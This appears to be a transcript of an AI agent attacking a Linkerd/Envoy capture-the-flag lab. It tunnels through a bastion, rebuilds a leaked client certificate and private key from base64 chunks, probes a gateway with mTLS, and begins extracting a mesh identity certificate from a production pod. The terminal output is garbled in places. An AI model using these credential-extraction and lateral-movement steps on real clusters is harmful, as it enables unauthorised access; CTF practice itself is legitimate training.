print(hashlib.md5(open('/[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# python3 -c "
[?2004l,'r[?2004h> import base64,urllib.request,ssl
[?2004l[?2004h> # Write cert
[?2004l[?2004h> c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWStttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x11YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
[?2004l[?2004h> c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUllaNjh1WGROUk5GU1pzSGtqU2oK'
[?2004l[?2004h> c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJJUN2xLcmVqZHh3Q3UxcHpCaXMK'
[?2004l[?2004h> c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU55CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNNoSGhsQlpsV2grOEtUcS9aeGIK'
[?2004l[?2004h> c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0ttjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0tt5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQootLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
[?2004l[?2004h> open('/tmp/c.crt','wb').write(base64.b64decode(c))
[?2004l[?2004h> # Write key
[?2004l[?2004h> k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
[?2004l[?2004h> k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUttYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW11ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1ppzSGtqU2pJL1JwMlFTclZyd0MK'
[?2004l[?2004h> k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGkk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BBRUWZCQ0U5ZWZlYlZCUmlxdjkK'
[?2004l[?2004h> k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW55DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVBB5QTNvYWEvbHBXb21uY0M2VTQK'
[?2004l[?2004h> k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGMM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW99SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS99ZNFRTYUtnTFkrbCs2ZCtKWHMK'
[?2004l[?2004h> k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UUwbFFVV3VCK01LR24vMkVLS2QK'
[?2004l[?2004h> k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXll3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3EE2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHVV2MjBYRDU2RFBjTXczclJPaVYK'
[?2004l[?2004h> k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjllBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzllSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU55QempGc2NQMWpFcWxnR2VGM3oK'
[?2004l[?2004h> k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2cczbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUkttxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUUgS0VZLS0tLS0K'
[?2004l[?2004h> open('/tmp/c.key','wb').write(base64.b64decode(k))
[?2004l[?2004h> print('OK')
[?2004l[?2004h> import hashlib
[?2004l[?2004h> print(hashlib.md5(open('/tmp/c.crt','rb').read()).hexdigest())
[?2004l[?2004h> print(hashlib.md5(open('/tmp/c.key','rb').read()).hexdigest())
[?2004l[?2004h> "
[?2004lbash: python3: command not found
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 127
Connection to 35.179.133.134 closed.# Get the PEM content line by line cat /tmp/client.crt echo "===" cat /tmp/client.key | head -5 echo "..."
-----BEGIN CERTIFICATE----- MIIDGDCCAgCgAwIBAgIUGOILJNY+mvhBA8LbbO3l8yd+biowDQYJKoZIhvcNAQEL BQAwLDEUMBIGA1UECgwLTGlua2VyZC1DVEYxFDASBgNVBAMMC0xpbmtlcmQtQ1RG MB4XDTI2MDIxODA4NTgzNVoXDTM2MDIxNjA4NTgzNVowHDEaMBgGA1UEAwwRTGlu a2VyZENsaWVudFVzZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCu +/t1RlCaSkCgVvr04euqLfKX6Ejx1CVvXQritvXgdh/f8fTNAYnhpnP3q4BBNRRY xYEKX4AJ+icVLNFoW0DhzzQJsjKIcYhcdR1ybIFg8sRrVJwEdh5lmdRDRO6Y/mmY 2gOFz1ckCynoEl0kw3K3o3FHwV/go5lTGtayNM4k1UR55IZ68uXdNRNFSZsHkjSj I/Rp2QSrVrwCZCjEHv6rVzmWv1ohR0165MLqqfTvtC5ZJ3890SeS0ghVusofkw95 jLpi4rlxUbxfiNFlYC54P6IWI8w/Rs/7iHYVoiLbXTY9sCuDxNvAqJUgplwHuav+ 4mm9c/zmuD6+kCT/+N8rAgMBAAGjQjBAMB0GA1UdDgQWBBT7lKrejdxwCu1pzBis a3MTHhxamTAfBgNVHSMEGDAWgBRcWdkB4MFR0ZzhREZ4h3K9YI/7XzANBgkqhkiG 9w0BAQsFAAOCAQEAPl1h9XPX9ZluVvot8Knv6CG5vPWPXhJp8xusJDSBnVwp7Qi3 7Gs/Rn/nINS2W6Y7P7/9b3/Ciu4A6r1/s8O8bVb0LtUzMchHhlBZlWh+8KTq/Zxb SoaRoiaMaqIQbeXQlmfQ+O/pCli1Ygcje5Odpvf+BSHj9swZWvM9QgjUTTA1NbmW 5QhCvGNQmI5vpmQpoXsGND1nsIKlqayzVr2Zw/PiNp8rt0m1c/KcF6lqVUymX8FI 0J2WJCOa7pNdcso21g7/dudYbv0yRYkgP1PRCNSXn4MlSKyhoG0VutCOp8Dyo9ER CNFRbWIM0dRy1C6X+BRpjo3MuQJSlQeZgcRNfw== -----END CERTIFICATE----- === -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCu+/t1RlCaSkCg Vvr04euqLfKX6Ejx1CVvXQritvXgdh/f8fTNAYnhpnP3q4BBNRRYxYEKX4AJ+icV LNFoW0DhzzQJsjKIcYhcdR1ybIFg8sRrVJwEdh5lmdRDRO6Y/mmY2gOFz1ckCyno El0kw3K3o3FHwV/go5lTGtayNM4k1UR55IZ68uXdNRNFSZsHkjSjI/Rp2QSrVrwC ...
# Write cert/key files as small base64 chunks via SSH
# Split the base64 content into small pieces
CERT_B64=$(cat /tmp/client.crt | base64 -w0)
KEY_B64=$(cat /tmp/client.key | base64 -w0)
# Split into 76-char chunks for reliable transfer
echo "$CERT_B64" | fold -w 76 > /tmp/cert_chunks.txt
echo "$KEY_B64" | fold -w 76 > /tmp/key_chunks.txt
# Generate the commands
{
echo ">" # dummy first line
echo "rm -f /tmp/c.crt.b64 /tmp/c.key.b64"
while IFS= read -r line; do
echo "echo '$line' >> /tmp/c.crt.b64"
done < /tmp/cert_chunks.txt
while IFS= read -r line; do
echo "echo '$line' >> /tmp/c.key.b64"
done < /tmp/key_chunks.txt
echo "base64 -d /tmp/c.crt.b64 > /tmp/c.crt"
echo "base64 -d /tmp/c.key.b64 > /tmp/c.key"
echo "md5sum /tmp/c.crt /tmp/c.key"
echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
echo "curl -sk --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP"
echo "exit"
} > /tmp/remote_cmds.txt
wc -l /tmp/remote_cmds.txtssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion < /tmp/remote_cmds.txt 2>&1 | tail -30
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'clhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5
5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZi' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'aUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJ
JbDNDZU1tVGxCR29hemlSaGM4YkRYK3Bi' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'OApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0
0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJI' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'bHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1
1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9Z' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'NFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9S
SYk1hcU1jNGJZalVTU29mOG9DTlpGc1Bz' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'aFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdM
MUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FE' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'RnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZY
YCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkz' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'ZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01L
LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtG' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'a1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0
0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisy' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'RmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0x
xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRD' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'CjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFE
EalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBj' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'TXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRh
hS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBp' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'R1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFF
FcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBv
vUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFpt' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'VHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK
KUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1G' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'djhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBW
Wdkw5WVdjWApTSG82cVQzS0lucjNpckh2' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExj
jK2czbEdKaUYvQ2ZzMnl2ClVyUDM5Tkgx' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'OXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0Mw
wTlowUktxdU1SU1dSdnFMT3ZxUFhicDgK' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'WWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5E
EIFBSSVZBVEUgS0VZLS0tLS0K' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kbase64 -d /tmp/c.crt.b64 > /tmp/c.crt
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kbase64 -d /tmp/c.key.b64 > /tmp/c.key
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kmd5sum /tmp/c.crt /tmp/c.key
[?2004l
fb356d37bd0c93172148580db0857ba9 /tmp/c.crt
0a94de1f463a0995741af86a38976ef5 /tmp/c.key
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sys
stem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep
p '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kcurl -sk --cert /tmp/c.crt --key /tmp/c.key https:
://$GWIP
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.The MD5s match perfectly! fb356d37bd0c93172148580db0857ba9 for cert and 0a94de1f463a0995741af86a38976ef5 for key — same as local. But still exit code 56. Let me try with verbose output and --http1.1.
{
echo ">"
echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
echo "echo GWIP=\$GWIP"
echo "curl -svk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP/ 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -40* TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS header, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS header, Finished (20): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.2 (OUT), TLS header, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: CN=gateway.default.svc * start date: Feb 18 08:57:51 2026 GMT * expire date: Feb 16 08:57:51 2036 GMT * issuer: O=Linkerd-CTF; CN=Linkerd-CTF * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * TLSv1.2 (OUT), TLS header, Supplemental data (23): > GET / HTTP/1.1 > Host: 10.111.253.191 > User-Agent: curl/7.81.0 > Accept: */* > * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.3 (OUT), TLS alert, decode error (562): * OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0 * Closing connection 0 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit [?2004l exit command terminated with exit code 56 Connection to 35.179.133.134 closed.
The TLS handshake with client cert is succeeding! The connection drops after HTTP request. Let me try with different host header and more verbose output.
{
echo ">"
echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
echo "curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: gateway.default.svc' https://\$GWIP/ 2>&1"
echo "echo EXIT=\$?"
echo "curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://\$GWIP/ 2>&1"
echo "echo"
echo "cat /tmp/resp.txt 2>&1"
echo "curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: backend.backend.svc.cluster.local' https://\$GWIP/ 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v '^\[?' | grep -v '^\]0;' | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|kubectl auth\|- kubectl\|export GWIP\|curl -k\|The first\|The gate\|Veel\|^!\|^$\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/'>
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: gateway.default.svc' https://$GWIP/ 2>&1
echo EXIT=$?
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://$GWIP/ 2>&1
echo
cat /tmp/resp.txt 2>&1
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: backend.backend.svc.cluster.local' https://$GWIP/ 2>&1
exit
>
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: gateway.default.svc' https://$GWIP/ 2>&1
echo EXIT=$?
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://$GWIP/ 2>&1
echo
cat /tmp/resp.txt 2>&1
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: backend.backend.svc.cluster.local' https://$GWIP/ 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kcurl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.
.key -H 'Host: gateway.default.svc' https://$GWIP/ 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho EXIT=$?
[?2004l
EXIT=56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.
.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://$GWIP/ 2>&1
[?2004l
000[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /tmp/resp.txt 2>&1
[?2004l
cat: /tmp/resp.txt: No such file or directory
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.
.key -H 'Host: backend.backend.svc.cluster.local' https://$GWIP/ 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.{
echo ">"
echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
echo "echo 'GET / HTTP/1.0\r\nHost: gateway.default.svc\r\n\r\n' | openssl s_client -connect \$GWIP:443 -cert /tmp/c.crt -key /tmp/c.key -quiet 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20echo 'GET / HTTP/1.0\r\nHost: gateway.default.svc\r\n\r\n' | openssl s_client -connect $GWIP:443 -cert /tmp/c.crt -key /tmp/c.key -quiet 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sys
stem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep
p '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho 'GET / HTTP/1.0\r\nHost: gateway.default.svc\
\r\n\r\n' | openssl s_client -connect $GWIP:443 -cert /tmp/c.crt -key /tmp/c.key
-quiet 2>&1
[?2004l
Can't use SSL_get_servername
depth=0 CN = gateway.default.svc
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = gateway.default.svc
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = gateway.default.svc
verify return:1
40A72450757B0000:error:0A000418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca:../ssl/record/rec_layer_s3.c:1593:SSL alert number 48
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.The real error is unknown CA — the cert from the CTP annotation was signed by a different CA than what the gateway trusts! I need the Linkerd mesh identity cert instead. Let me extract it from the proxy.
{
echo ">"
echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
# Connect to the Linkerd inbound proxy from within the meshed pod to extract the identity cert
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect \$GWIP:443 -cert /dev/null -key /dev/null 2>&1 | grep -A 1 \"Acceptable\"'"
# Try getting the proxy identity cert via the admin API
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep identity_cert | head -3'"
# Try reading linkerd identity from the well-known tmpdir
